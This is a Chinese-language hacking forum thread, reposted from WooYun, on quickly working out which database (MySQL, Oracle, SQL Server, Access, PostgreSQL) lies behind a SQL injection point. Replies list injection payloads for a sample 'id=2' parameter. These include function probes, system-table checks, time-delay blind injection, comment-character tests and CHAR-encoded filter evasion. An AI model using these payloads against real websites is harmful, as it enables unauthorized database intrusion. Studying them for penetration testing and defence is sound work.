找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2533|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
8 z) G7 l. u$ H4 i/ \% S  Sxsser (十根阳具有长短!!) | 2013-02-05 12:36
; N+ W% s/ |8 ?4 a0 ^4 `假设这么一个注射点:
& N) B/ W8 `% Q" C* g' }7 X  zshow.html?id=2
& k+ ^( d$ x( k# _( Q% xmysql:id=2 and version()>0' B( e4 U4 q6 f; v( R; _
oracle:id=2 and '1'||'1'='11. W2 b7 G. l4 T& L
其他的欢迎补充
0 K2 n' C# E" }6 Q/ g8 {1#
3 x4 w/ j! H: V$ p3 W: P4 `; aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47; _) I4 r/ m+ o+ o" E+ \
Access:
  e+ O2 t: D0 p, r9 iaNd aSc(cHr(97))=97
5 U# s# p+ k5 v" H  q  r* E' iand exists(select id from MSysAccessObjects)- c3 i5 o" b. f% L& F
SQL Server:
# {7 k4 h0 |2 V+ {- Eand exists(select id from sysobjects)
. w3 y4 v- r. z/ K$ v% h1 {and length(user)>08 \+ L( Y/ X( o, h, t: ]
MySQL:
: J' T5 }. m0 O# k5 Dand length(user())>0. y& |3 I4 t6 L* {' D
2#
8 b2 D+ Y  ?+ \$ l( z% b; n  `xsser (十根阳具有长短!!) | 2013-02-05 12:48
5 ~0 [+ {( W1 G7 |8 M2 H2 U@upload 如果这些都不是呢…
' R+ a: h. G2 s2 P. X3#
6 }7 b7 E# X- n) T7 h8 Fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
5 X4 g1 N  R- Y1 K; P0 }@xsser 不快速的,延时注入
6 e) |6 q' I8 q6 H) S* @9 Q不知道这样写对不对' f/ C' E0 |5 @; z
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
$ w! N* I# z' L) O# S; Fmysql:id=2 and select benchmark(1e8,current_date());
. n$ s6 I) p" t' S4#, Z$ ~& r  N9 K' h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
- p5 f6 S7 [+ t最快的貌似是看报错信息% Z$ y5 o- p0 G( X% K* |
oracle error/ {1 A1 [8 ~8 Z3 W9 u/ |
mssql error
' m0 A! k0 X9 v( lmysql error
5 p, u2 P; A# Q7 e5#& h& K+ v3 E: y! d. B
Nimda (你们都是坏银~) | 2013-02-05 13:14
0 z8 J+ r, r$ g' `小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)3 Y1 o$ p- y8 X3 {8 X+ U8 C; h
6#: _8 B: @7 ^' S$ u- j6 H
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
2 e+ f1 r$ Q, t) u% U6 d“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
2 t; U. Z: g/ o“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:3 p' `% S' d( k' `
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。3 I6 _8 b; _* x( m
7#" a$ Q0 u% @" r# ~& W0 W6 S3 g7 Z) H( m
_Evil (HackEnd) | 2013-02-05 13:33
" S( a. M/ X' o/ q* W9 ^PostgreSQL3 s6 d9 V8 g0 i! i5 B; {& G
8#
3 O/ k6 L; a" O, m# F1 Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
0 ]6 K: Y4 J. A* [, O  [切换编码 and 1=1
$ d8 K3 G: I9 Y0 voracle:
) q8 Y4 D  M2 D' pCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
% i. ], U2 }0 f$ M- h& l: `+ Dmssql:0 ^# b8 a6 {7 Y; `
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
4 K+ u% ?" K: Ymysql:
* Q+ u$ k9 p. n5 w2 u. fCHAR(97, 110, 100, 32, 49, 61, 49)* a0 c% y/ G! w
9#, R8 I; U# B% S
xsser (十根阳具有长短!!) | 2013-02-05 14:31, g% l' _9 ]8 k! r$ @( ], |) c0 k
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
5 ]; T( i0 O. F+ Z& ^; _$ ]. C10#
. c  S) s/ X* s7 jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46+ D0 b6 V) J1 G
@xsser 是奇葩数据库类型的么?' f! s! y) P) [, }# y
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:$ Q; {  N5 P; w0 r' g
1.是否可以使用特定的函数来判断,该数据库特有的" t$ L" t" c  J7 W% P
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等" _; k9 A' u' y2 ]5 M' A1 d
3.是否可以编码查询: ]3 P: w! s$ D/ b5 \* Y
4.是否显可以利用错信息# v0 v4 \0 Z, k( G
5.是否存在数据库某些特性辅助判断1 `: W* Y( o+ I# j
个人见解
" T) n8 E5 m- g  N  ^1 _11#
9 i# l0 K1 {  @) b. X" A小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
( J+ n5 f9 x" d5 a已收藏,mssql可以直接看到错误提示的吧~
$ e1 i$ n' o- ^- ~, k  r12#% L6 n4 P& J+ v' `8 d
Passer_by | 2013-02-05 15:09
' O+ {$ A$ n/ z3 I: H7 u0 i曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
1 e) K( i( S% {) j. {from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表